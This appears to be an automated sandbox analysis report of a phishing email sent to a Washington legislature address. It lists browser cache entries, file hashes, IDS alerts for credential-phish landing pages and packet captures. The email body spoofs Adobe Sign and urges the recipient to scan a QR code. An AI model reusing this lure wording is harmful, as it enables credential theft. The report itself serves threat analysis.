0,1-.055.641,3.7,3.7,0,0,1-.148.563,3.439,3.439,0,0,1-.562.953,7.2,7.2,0,0,1-.8.8q-.21

Chrome Cache Entry: 98

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 7390
Category:	downloaded
Size (bytes):	2407
Entropy (8bit):	7.900400471609788
Encrypted:	false
SSDEEP:	48:XVBUIsjnR4Zg0ddZ8E5EyQk7J0e+r/9lifUUuHDM3oOY+:XUIIKZg0ddZdEzTsfUUmyY+
MD5:	9D372E951D45A26EDE2DC8B417AAE4F8
SHA1:	84F97A777B6C33E2947E6D0BD2BFCFFEC601785A
SHA-256:	4E9C9141705E9A4D83514CEE332148E1E92126376D049DAED9079252FA9F9212
SHA-512:	78F5AA71EA44FF18BA081288F13AD118DB0E1B9C8D4D321ED40DCAB29277BD171BBB25BA7514566BBD4E25EA416C066019077FAA43E6ED781A29ADB683D218E2
Malicious:	false
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/picker_verify_fluent_authenticator_59892f1e05e3adf9fd2f71b42d92a27f.svg
Preview:	...........Y=s.8......mr...f.y....8.R...l.Nk.l..?....{$.l\|e'zM.3...............S(..........O./......Mn.e..O..7.O.?=..?........../...~yy._t....8.a........~.....+..$..*..z..\....~..Jx\|............\|y...=................./.3....kN2...H...;<sy....H..?2..q5.0.0....f......L.^..v.W.L..7XCm8.I...6\.p.....O/%sX..I.......u............yE......$q....1/.....W....Zg...w..-..v....x...N)........R....c.W5.=...{_1_...+.#.......e...K..:..b.Ec...!...".I1../2X.....].i.sAF;^.1....1/UM.[r..d...>RX..U...<..1...V.\|.......X.jX:..0...9..F.KsT...{.6,.._Q..9.b...Q)..0.R.t.u.JN..u$V.%X.9k..t.."..Q.........y.V.Z$7.q.{......k.......W....5.x..K.."y...=......4...h\|!....r.."v\f`..c+.......b..hc.jn....0.&G..m.=.@..6../......6....tM^.&3.$......~.....m2...wFs..#5.Hy..?...r.p.O.X.'n...Z8L......7.;..QWGnr.sY..n...3.Jfq..+{m....\...X.q...0...0...........}}d...33.....Q...F$.8..v..UH&.H........0.q..n...q...F.Y7...u..B>..J.A.....$.,....w......Z..oe..w..%....$[+.......d...

Chrome Cache Entry: 99

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (8144), with no line terminators
Category:	dropped
Size (bytes):	8144
Entropy (8bit):	5.756788247268831
Encrypted:	false
SSDEEP:	192:BqMn88E2WhDIcTn57zkGqYI8kBYxqBAlBttXf8k:BNBE2WhDIcTn53kmfkBYxqgBt9f3
MD5:	4EFB344A044DB0D6DD2A789DD9D6DCA7
SHA1:	A557F403A20E412C607D02BB8719333945225324
SHA-256:	AB45C323180C57969DF49E9DC12241F902B20A1DED8366DEC7CDB1454C1A7DD3
SHA-512:	390A5E6C2F851A821EFD354DCB93D61B16DC94E62542EBB31508B473F512EA867CC22111EE31F82522CA025D78F48B4813359579E1F46439272511014A34A362
Malicious:	false
Preview:	window._cf_chl_opt={cFPWv:'b'};~function(V,h,i,j,k,l,s,v){V=b,function(c,e,U,f,g){for(U=b,f=c();!![];)try{if(g=-parseInt(U(171))/1(parseInt(U(152))/2)+parseInt(U(136))/3+-parseInt(U(234))/4(-parseInt(U(162))/5)+-parseInt(U(220))/6(-parseInt(U(205))/7)+parseInt(U(223))/8+parseInt(U(225))/9(-parseInt(U(228))/10)+parseInt(U(232))/11*(parseInt(U(174))/12),e===g)break;else f.push(f.shift())}catch(D){f.push(f.shift())}}(a,151061),h=this\|\|self,i=h[V(182)],j=function(W,e,f,g){return W=V,e=String[W(204)],f={'h':function(D){return null==D?'':f.g(D,6,function(E,X){return X=b,X(190)[X(137)](E)})},'g':function(D,E,F,Y,G,H,I,J,K,L,M,N,O,P,Q,R,S,T){if(Y=W,D==null)return'';for(H={},I={},J='',K=2,L=3,M=2,N=[],O=0,P=0,Q=0;Q<D[Y(211)];Q+=1)if(R=D[Y(137)](Q),Object[Y(149)][Y(166)][Y(233)](H,R)\|\|(H[R]=L++,I[R]=!0),S=J+R,Object[Y(149)][Y(166)][Y(233)](H,S))J=S;else{if(Object[Y(149)][Y(166)][Y(233)](I,J)){if(256>J[Y(236)](0)){for(G=0;G<M;O<<=1,E-1==P?(P=0,N[Y(161)](F(O)),O=0):P++,G++);for(T=J[Y(236)](0),

Static File Info

General

File type:	CDFV2 Microsoft Outlook Message
Entropy (8bit):	6.5713475995354855
TrID:	Outlook Message (71009/1) 58.92% Outlook Form Template (41509/1) 34.44% Generic OLE2 / Multistream Compound File (8008/1) 6.64%
File name:	Leg AdobeShareFile62532.pdf.eml (21.8 KB).msg
File size:	40'448 bytes
MD5:	a53146dc9bf1d7c77941c16dcb1e4c23
SHA1:	2389a20e86d06d18a5bdf5248b94d64ff9a8c48f
SHA256:	63163a52c24a39885700215d21099daf712d1a2f951aad550ea752f985925ca1
SHA512:	2d3a2292a759685c5818ced5ffddc07ad7e95c2d9d65f302d7e60d81bb6363741ed6921f73832c757c89c51419c32cddde99195f40e300514b368c9aac2da1a7
SSDEEP:	768:A+5/2P3J0B36Zn2xpQQA4U8c6k58VUooXh7UW2/11vi:h2PJiZUFP86h7i/b
TLSH:	CA03491032F98349F27B9F361AF2C19B42367CD1EE7196CF3294B39E1D71580A560B2A
File Content Preview:	........................>......................................................................................................................................................................................................................................

Static Mail

General

Subject:	Payment Copy
From:	Leg Adobe Sign ShareFile
To:	joe.nguyen@leg.wa.gov
Cc:
BCC:
Date:
Communications:	<https://logo.clearbit.com/leg.wa.gov> Leg Adobe Sign ShareFile You have been sent a file encrypted with Adobe Sign for secure review and signature.. Recipient: joe.nguyen@leg.wa.gov Scan the QR code below with your mobile device camera to Sign your secure documents electronically in just minutes. It's safe, protected, and legally binding. This encrypted message was sent to you by your Contact who is using Adobe Sign. Adobe Sign is a tool for sending, receiving, and organizing your business files online. It can be used as a password-protected area for sharing information with clients and partners, and it's an easy way to send files that are too large to e-mail. File was shared on 11/1/2024 Powered By Adobe Sign 2024
Attachments:

Headers

Key	Value
From	Leg Adobe Sign ShareFile
To	joe.nguyen@leg.wa.gov
Subject	Payment Copy
MIME-Version	1.0
Content-Type	multipart/mixed; boundary="{boundary}"
date

File Icon


Icon Hash:	c4e1928eacb280a2

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-07T23:47:24.144209+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	20.12.23.50	443	192.168.2.5	49726	TCP
2024-11-07T23:47:25.662594+0100	2056643	ET PHISHING Javascript Browser Fingerprinting POST Request	2	192.168.2.5	49736	172.67.191.88	443	TCP
2024-11-07T23:47:27.488551+0100	2056316	ET PHISHING Generic Credential Phish Landing Page (jsnom.js)	1	192.168.2.5	49735	172.67.191.88	443	TCP
2024-11-07T23:47:29.254866+0100	2056316	ET PHISHING Generic Credential Phish Landing Page (jsnom.js)	1	192.168.2.5	49749	172.67.191.88	443	TCP
2024-11-07T23:48:02.273380+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	20.12.23.50	443	192.168.2.5	49952	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 7, 2024 23:47:10.984127045 CET	49675	443	192.168.2.5	23.1.237.91
Nov 7, 2024 23:47:10.984131098 CET	49674	443	192.168.2.5	23.1.237.91
Nov 7, 2024 23:47:11.093528032 CET	49673	443	192.168.2.5	23.1.237.91
Nov 7, 2024 23:47:12.838419914 CET	443	49703	23.1.237.91	192.168.2.5
Nov 7, 2024 23:47:12.838573933 CET	49703	443	192.168.2.5	23.1.237.91
Nov 7, 2024 23:47:22.185080051 CET	49724	443	192.168.2.5	188.114.97.3
Nov 7, 2024 23:47:22.185101986 CET	443	49724	188.114.97.3	192.168.2.5
Nov 7, 2024 23:47:22.185296059 CET	49724	443	192.168.2.5	188.114.97.3
Nov 7, 2024 23:47:22.186100006 CET	49724	443	192.168.2.5	188.114.97.3
Nov 7, 2024 23:47:22.186111927 CET	443	49724	188.114.97.3	192.168.2.5
Nov 7, 2024 23:47:22.359338999 CET	49725	443	192.168.2.5	20.190.159.2
Nov 7, 2024 23:47:22.359371901 CET	443	49725	20.190.159.2	192.168.2.5
Nov 7, 2024 23:47:22.359472990 CET	49725	443	192.168.2.5	20.190.159.2
Nov 7, 2024 23:47:22.367120981 CET	49725	443	192.168.2.5	20.190.159.2
Nov 7, 2024 23:47:22.367135048 CET	443	49725	20.190.159.2	192.168.2.5
Nov 7, 2024 23:47:22.582317114 CET	49726	443	192.168.2.5	20.12.23.50
Nov 7, 2024 23:47:22.582350016 CET	443	49726	20.12.23.50	192.168.2.5
Nov 7, 2024 23:47:22.582427025 CET	49726	443	192.168.2.5	20.12.23.50
Nov 7, 2024 23:47:22.594679117 CET	49726	443	192.168.2.5	20.12.23.50
Nov 7, 2024 23:47:22.594690084 CET	443	49726	20.12.23.50	192.168.2.5
Nov 7, 2024 23:47:22.821604967 CET	443	49724	188.114.97.3	192.168.2.5
Nov 7, 2024 23:47:22.828553915 CET	49724	443	192.168.2.5	188.114.97.3
Nov 7, 2024 23:47:22.828563929 CET	443	49724	188.114.97.3	192.168.2.5
Nov 7, 2024 23:47:22.829534054 CET	443	49724	188.114.97.3	192.168.2.5
Nov 7, 2024 23:47:22.829638004 CET	49724	443	192.168.2.5	188.114.97.3
Nov 7, 2024 23:47:22.913765907 CET	49724	443	192.168.2.5	188.114.97.3
Nov 7, 2024 23:47:22.913929939 CET	443	49724	188.114.97.3	192.168.2.5
Nov 7, 2024 23:47:22.914077997 CET	49724	443	192.168.2.5	188.114.97.3
Nov 7, 2024 23:47:22.914084911 CET	443	49724	188.114.97.3	192.168.2.5
Nov 7, 2024 23:47:22.914239883 CET	443	49724	188.114.97.3	192.168.2.5
Nov 7, 2024 23:47:22.914294958 CET	49724	443	192.168.2.5	188.114.97.3
Nov 7, 2024 23:47:22.914410114 CET	49724	443	192.168.2.5	188.114.97.3
Nov 7, 2024 23:47:22.914423943 CET	443	49724	188.114.97.3	192.168.2.5
Nov 7, 2024 23:47:22.914477110 CET	49724	443	192.168.2.5	188.114.97.3
Nov 7, 2024 23:47:22.914508104 CET	49724	443	192.168.2.5	188.114.97.3
Nov 7, 2024 23:47:22.917609930 CET	49727	443	192.168.2.5	188.114.97.3
Nov 7, 2024 23:47:22.917654037 CET	443	49727	188.114.97.3	192.168.2.5
Nov 7, 2024 23:47:22.917717934 CET	49727	443	192.168.2.5	188.114.97.3
Nov 7, 2024 23:47:22.922620058 CET	49727	443	192.168.2.5	188.114.97.3
Nov 7, 2024 23:47:22.922637939 CET	443	49727	188.114.97.3	192.168.2.5
Nov 7, 2024 23:47:23.612627029 CET	443	49725	20.190.159.2	192.168.2.5
Nov 7, 2024 23:47:23.612690926 CET	49725	443	192.168.2.5	20.190.159.2
Nov 7, 2024 23:47:23.613610983 CET	443	49727	188.114.97.3	192.168.2.5
Nov 7, 2024 23:47:23.616084099 CET	49727	443	192.168.2.5	188.114.97.3
Nov 7, 2024 23:47:23.616094112 CET	443	49727	188.114.97.3	192.168.2.5
Nov 7, 2024 23:47:23.617074013 CET	443	49727	188.114.97.3	192.168.2.5
Nov 7, 2024 23:47:23.617134094 CET	49727	443	192.168.2.5	188.114.97.3
Nov 7, 2024 23:47:23.618402958 CET	49727	443	192.168.2.5	188.114.97.3
Nov 7, 2024 23:47:23.618469000 CET	443	49727	188.114.97.3	192.168.2.5
Nov 7, 2024 23:47:23.619132996 CET	49727	443	192.168.2.5	188.114.97.3
Nov 7, 2024 23:47:23.619139910 CET	443	49727	188.114.97.3	192.168.2.5
Nov 7, 2024 23:47:23.651221991 CET	49725	443	192.168.2.5	20.190.159.2
Nov 7, 2024 23:47:23.651237011 CET	443	49725	20.190.159.2	192.168.2.5
Nov 7, 2024 23:47:23.651518106 CET	443	49725	20.190.159.2	192.168.2.5
Nov 7, 2024 23:47:23.652581930 CET	49725	443	192.168.2.5	20.190.159.2
Nov 7, 2024 23:47:23.652811050 CET	49725	443	192.168.2.5	20.190.159.2
Nov 7, 2024 23:47:23.652827978 CET	443	49725	20.190.159.2	192.168.2.5
Nov 7, 2024 23:47:23.769733906 CET	443	49727	188.114.97.3	192.168.2.5
Nov 7, 2024 23:47:23.769839048 CET	49727	443	192.168.2.5	188.114.97.3
Nov 7, 2024 23:47:23.779975891 CET	49727	443	192.168.2.5	188.114.97.3
Nov 7, 2024 23:47:23.779998064 CET	443	49727	188.114.97.3	192.168.2.5
Nov 7, 2024 23:47:23.784535885 CET	443	49726	20.12.23.50	192.168.2.5
Nov 7, 2024 23:47:23.784609079 CET	49726	443	192.168.2.5	20.12.23.50
Nov 7, 2024 23:47:23.786214113 CET	49726	443	192.168.2.5	20.12.23.50
Nov 7, 2024 23:47:23.786225080 CET	443	49726	20.12.23.50	192.168.2.5
Nov 7, 2024 23:47:23.786483049 CET	443	49726	20.12.23.50	192.168.2.5
Nov 7, 2024 23:47:23.816771984 CET	49730	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:23.816807985 CET	443	49730	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:23.816879034 CET	49730	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:23.817573071 CET	49730	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:23.817583084 CET	443	49730	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:23.853163958 CET	49726	443	192.168.2.5	20.12.23.50
Nov 7, 2024 23:47:23.899337053 CET	443	49726	20.12.23.50	192.168.2.5
Nov 7, 2024 23:47:23.974668980 CET	443	49725	20.190.159.2	192.168.2.5
Nov 7, 2024 23:47:24.086505890 CET	443	49725	20.190.159.2	192.168.2.5
Nov 7, 2024 23:47:24.086659908 CET	49725	443	192.168.2.5	20.190.159.2
Nov 7, 2024 23:47:24.102195024 CET	49725	443	192.168.2.5	20.190.159.2
Nov 7, 2024 23:47:24.102230072 CET	443	49725	20.190.159.2	192.168.2.5
Nov 7, 2024 23:47:24.143414974 CET	443	49726	20.12.23.50	192.168.2.5
Nov 7, 2024 23:47:24.143440008 CET	443	49726	20.12.23.50	192.168.2.5
Nov 7, 2024 23:47:24.143445969 CET	443	49726	20.12.23.50	192.168.2.5
Nov 7, 2024 23:47:24.143456936 CET	443	49726	20.12.23.50	192.168.2.5
Nov 7, 2024 23:47:24.143464088 CET	443	49726	20.12.23.50	192.168.2.5
Nov 7, 2024 23:47:24.143471003 CET	443	49726	20.12.23.50	192.168.2.5
Nov 7, 2024 23:47:24.143552065 CET	49726	443	192.168.2.5	20.12.23.50
Nov 7, 2024 23:47:24.143569946 CET	443	49726	20.12.23.50	192.168.2.5
Nov 7, 2024 23:47:24.143640995 CET	443	49726	20.12.23.50	192.168.2.5
Nov 7, 2024 23:47:24.143666983 CET	49726	443	192.168.2.5	20.12.23.50
Nov 7, 2024 23:47:24.143672943 CET	443	49726	20.12.23.50	192.168.2.5
Nov 7, 2024 23:47:24.143690109 CET	49726	443	192.168.2.5	20.12.23.50
Nov 7, 2024 23:47:24.143728971 CET	49726	443	192.168.2.5	20.12.23.50
Nov 7, 2024 23:47:24.144074917 CET	443	49726	20.12.23.50	192.168.2.5
Nov 7, 2024 23:47:24.144124031 CET	443	49726	20.12.23.50	192.168.2.5
Nov 7, 2024 23:47:24.144176960 CET	49726	443	192.168.2.5	20.12.23.50
Nov 7, 2024 23:47:24.231209040 CET	49726	443	192.168.2.5	20.12.23.50
Nov 7, 2024 23:47:24.231225967 CET	443	49726	20.12.23.50	192.168.2.5
Nov 7, 2024 23:47:24.231292009 CET	49726	443	192.168.2.5	20.12.23.50
Nov 7, 2024 23:47:24.231302023 CET	443	49726	20.12.23.50	192.168.2.5
Nov 7, 2024 23:47:24.235049963 CET	49731	443	192.168.2.5	20.190.159.2
Nov 7, 2024 23:47:24.235094070 CET	443	49731	20.190.159.2	192.168.2.5
Nov 7, 2024 23:47:24.235188961 CET	49731	443	192.168.2.5	20.190.159.2
Nov 7, 2024 23:47:24.237737894 CET	49731	443	192.168.2.5	20.190.159.2
Nov 7, 2024 23:47:24.237752914 CET	443	49731	20.190.159.2	192.168.2.5
Nov 7, 2024 23:47:24.338269949 CET	49732	443	192.168.2.5	20.190.159.2
Nov 7, 2024 23:47:24.338299036 CET	443	49732	20.190.159.2	192.168.2.5
Nov 7, 2024 23:47:24.338387012 CET	49732	443	192.168.2.5	20.190.159.2
Nov 7, 2024 23:47:24.338601112 CET	49732	443	192.168.2.5	20.190.159.2
Nov 7, 2024 23:47:24.338608980 CET	443	49732	20.190.159.2	192.168.2.5
Nov 7, 2024 23:47:24.463301897 CET	443	49730	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:24.467539072 CET	49730	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:24.467556000 CET	443	49730	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:24.468449116 CET	443	49730	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:24.468537092 CET	49730	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:24.470033884 CET	49730	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:24.470088005 CET	443	49730	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:24.470175982 CET	49730	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:24.470180988 CET	443	49730	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:24.614351988 CET	49730	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:24.721035004 CET	49703	443	192.168.2.5	23.1.237.91
Nov 7, 2024 23:47:24.721573114 CET	49703	443	192.168.2.5	23.1.237.91
Nov 7, 2024 23:47:24.723072052 CET	49733	443	192.168.2.5	23.1.237.91
Nov 7, 2024 23:47:24.723099947 CET	443	49733	23.1.237.91	192.168.2.5
Nov 7, 2024 23:47:24.723195076 CET	49733	443	192.168.2.5	23.1.237.91
Nov 7, 2024 23:47:24.723381996 CET	49733	443	192.168.2.5	23.1.237.91
Nov 7, 2024 23:47:24.723392963 CET	443	49733	23.1.237.91	192.168.2.5
Nov 7, 2024 23:47:24.726444006 CET	443	49703	23.1.237.91	192.168.2.5
Nov 7, 2024 23:47:24.726455927 CET	443	49703	23.1.237.91	192.168.2.5
Nov 7, 2024 23:47:24.875427008 CET	443	49730	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:24.875473022 CET	443	49730	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:24.875500917 CET	443	49730	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:24.875580072 CET	49730	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:24.875600100 CET	443	49730	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:24.875652075 CET	49730	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:24.875752926 CET	443	49730	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:24.875857115 CET	443	49730	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:24.875907898 CET	49730	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:24.876806021 CET	49730	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:24.876821041 CET	443	49730	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:25.017518997 CET	49735	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:25.017555952 CET	443	49735	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:25.017642021 CET	49735	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:25.018110991 CET	49736	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:25.018132925 CET	443	49736	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:25.018387079 CET	49736	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:25.020296097 CET	49736	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:25.020307064 CET	443	49736	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:25.021157026 CET	49735	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:25.021167994 CET	443	49735	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:25.393531084 CET	443	49733	23.1.237.91	192.168.2.5
Nov 7, 2024 23:47:25.393603086 CET	49733	443	192.168.2.5	23.1.237.91
Nov 7, 2024 23:47:25.512073040 CET	443	49732	20.190.159.2	192.168.2.5
Nov 7, 2024 23:47:25.527282000 CET	443	49731	20.190.159.2	192.168.2.5
Nov 7, 2024 23:47:25.527363062 CET	49731	443	192.168.2.5	20.190.159.2
Nov 7, 2024 23:47:25.614686012 CET	49732	443	192.168.2.5	20.190.159.2
Nov 7, 2024 23:47:25.625046015 CET	443	49736	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:25.646316051 CET	49732	443	192.168.2.5	20.190.159.2
Nov 7, 2024 23:47:25.646323919 CET	443	49732	20.190.159.2	192.168.2.5
Nov 7, 2024 23:47:25.650188923 CET	49732	443	192.168.2.5	20.190.159.2
Nov 7, 2024 23:47:25.650193930 CET	443	49732	20.190.159.2	192.168.2.5
Nov 7, 2024 23:47:25.650249958 CET	49732	443	192.168.2.5	20.190.159.2
Nov 7, 2024 23:47:25.650259972 CET	443	49732	20.190.159.2	192.168.2.5
Nov 7, 2024 23:47:25.651176929 CET	49736	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:25.651190996 CET	443	49736	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:25.651511908 CET	443	49736	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:25.652339935 CET	443	49735	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:25.657460928 CET	49731	443	192.168.2.5	20.190.159.2
Nov 7, 2024 23:47:25.657478094 CET	443	49731	20.190.159.2	192.168.2.5
Nov 7, 2024 23:47:25.657691956 CET	443	49731	20.190.159.2	192.168.2.5
Nov 7, 2024 23:47:25.658420086 CET	49731	443	192.168.2.5	20.190.159.2
Nov 7, 2024 23:47:25.658462048 CET	49731	443	192.168.2.5	20.190.159.2
Nov 7, 2024 23:47:25.658489943 CET	443	49731	20.190.159.2	192.168.2.5
Nov 7, 2024 23:47:25.661421061 CET	49736	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:25.661478043 CET	443	49736	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:25.661967993 CET	49735	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:25.661974907 CET	443	49735	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:25.662177086 CET	49736	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:25.662261963 CET	49736	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:25.662266970 CET	443	49735	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:25.662287951 CET	443	49736	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:25.662395000 CET	49736	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:25.662412882 CET	443	49736	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:25.662542105 CET	49736	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:25.662568092 CET	443	49736	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:25.662621975 CET	49736	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:25.662648916 CET	49735	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:25.662708998 CET	443	49735	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:25.662759066 CET	49736	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:25.662766933 CET	443	49736	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:25.662782907 CET	49736	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:25.662796021 CET	443	49736	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:25.662806034 CET	49736	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:25.662816048 CET	443	49736	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:25.662826061 CET	49736	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:25.662839890 CET	49736	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:25.662844896 CET	443	49736	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:25.742453098 CET	49733	443	192.168.2.5	23.1.237.91
Nov 7, 2024 23:47:25.742465019 CET	443	49733	23.1.237.91	192.168.2.5
Nov 7, 2024 23:47:25.742755890 CET	443	49733	23.1.237.91	192.168.2.5
Nov 7, 2024 23:47:25.742882967 CET	49733	443	192.168.2.5	23.1.237.91
Nov 7, 2024 23:47:25.743362904 CET	49733	443	192.168.2.5	23.1.237.91
Nov 7, 2024 23:47:25.743386984 CET	443	49733	23.1.237.91	192.168.2.5
Nov 7, 2024 23:47:25.743519068 CET	49733	443	192.168.2.5	23.1.237.91
Nov 7, 2024 23:47:25.743525028 CET	443	49733	23.1.237.91	192.168.2.5
Nov 7, 2024 23:47:25.805648088 CET	49735	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:25.993398905 CET	443	49733	23.1.237.91	192.168.2.5
Nov 7, 2024 23:47:25.993463993 CET	49733	443	192.168.2.5	23.1.237.91
Nov 7, 2024 23:47:25.994479895 CET	443	49733	23.1.237.91	192.168.2.5
Nov 7, 2024 23:47:25.994524956 CET	443	49733	23.1.237.91	192.168.2.5
Nov 7, 2024 23:47:25.994527102 CET	49733	443	192.168.2.5	23.1.237.91
Nov 7, 2024 23:47:25.994577885 CET	49733	443	192.168.2.5	23.1.237.91
Nov 7, 2024 23:47:26.052521944 CET	443	49731	20.190.159.2	192.168.2.5
Nov 7, 2024 23:47:26.164877892 CET	443	49731	20.190.159.2	192.168.2.5
Nov 7, 2024 23:47:26.165069103 CET	49731	443	192.168.2.5	20.190.159.2
Nov 7, 2024 23:47:26.165141106 CET	49731	443	192.168.2.5	20.190.159.2
Nov 7, 2024 23:47:26.165159941 CET	443	49731	20.190.159.2	192.168.2.5
Nov 7, 2024 23:47:26.165169954 CET	49731	443	192.168.2.5	20.190.159.2
Nov 7, 2024 23:47:26.165174961 CET	443	49731	20.190.159.2	192.168.2.5
Nov 7, 2024 23:47:26.542316914 CET	49738	443	192.168.2.5	142.250.185.164
Nov 7, 2024 23:47:26.542363882 CET	443	49738	142.250.185.164	192.168.2.5
Nov 7, 2024 23:47:26.542610884 CET	49738	443	192.168.2.5	142.250.185.164
Nov 7, 2024 23:47:26.542833090 CET	49738	443	192.168.2.5	142.250.185.164
Nov 7, 2024 23:47:26.542848110 CET	443	49738	142.250.185.164	192.168.2.5
Nov 7, 2024 23:47:26.618170977 CET	49739	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:26.618206024 CET	443	49739	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:26.618278027 CET	49739	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:26.618573904 CET	49739	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:26.618586063 CET	443	49739	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:26.894406080 CET	443	49736	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:26.894520998 CET	443	49736	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:26.894682884 CET	49736	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:26.895332098 CET	49736	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:26.895349026 CET	443	49736	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:26.916810989 CET	49735	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:26.927761078 CET	49740	443	192.168.2.5	18.245.31.33
Nov 7, 2024 23:47:26.927782059 CET	443	49740	18.245.31.33	192.168.2.5
Nov 7, 2024 23:47:26.927839994 CET	49740	443	192.168.2.5	18.245.31.33
Nov 7, 2024 23:47:26.928067923 CET	49740	443	192.168.2.5	18.245.31.33
Nov 7, 2024 23:47:26.928078890 CET	443	49740	18.245.31.33	192.168.2.5
Nov 7, 2024 23:47:26.963331938 CET	443	49735	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:27.488558054 CET	443	49735	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:27.488605022 CET	443	49735	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:27.488636017 CET	443	49735	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:27.488667011 CET	443	49735	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:27.488718033 CET	443	49735	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:27.488746881 CET	49735	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:27.488749981 CET	443	49735	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:27.488774061 CET	443	49735	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:27.488797903 CET	443	49735	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:27.488826036 CET	443	49735	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:27.488833904 CET	49735	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:27.488842010 CET	443	49735	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:27.488887072 CET	49735	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:27.488887072 CET	49735	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:27.493699074 CET	443	49735	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:27.493918896 CET	443	49735	172.67.191.88	192.168.2.5
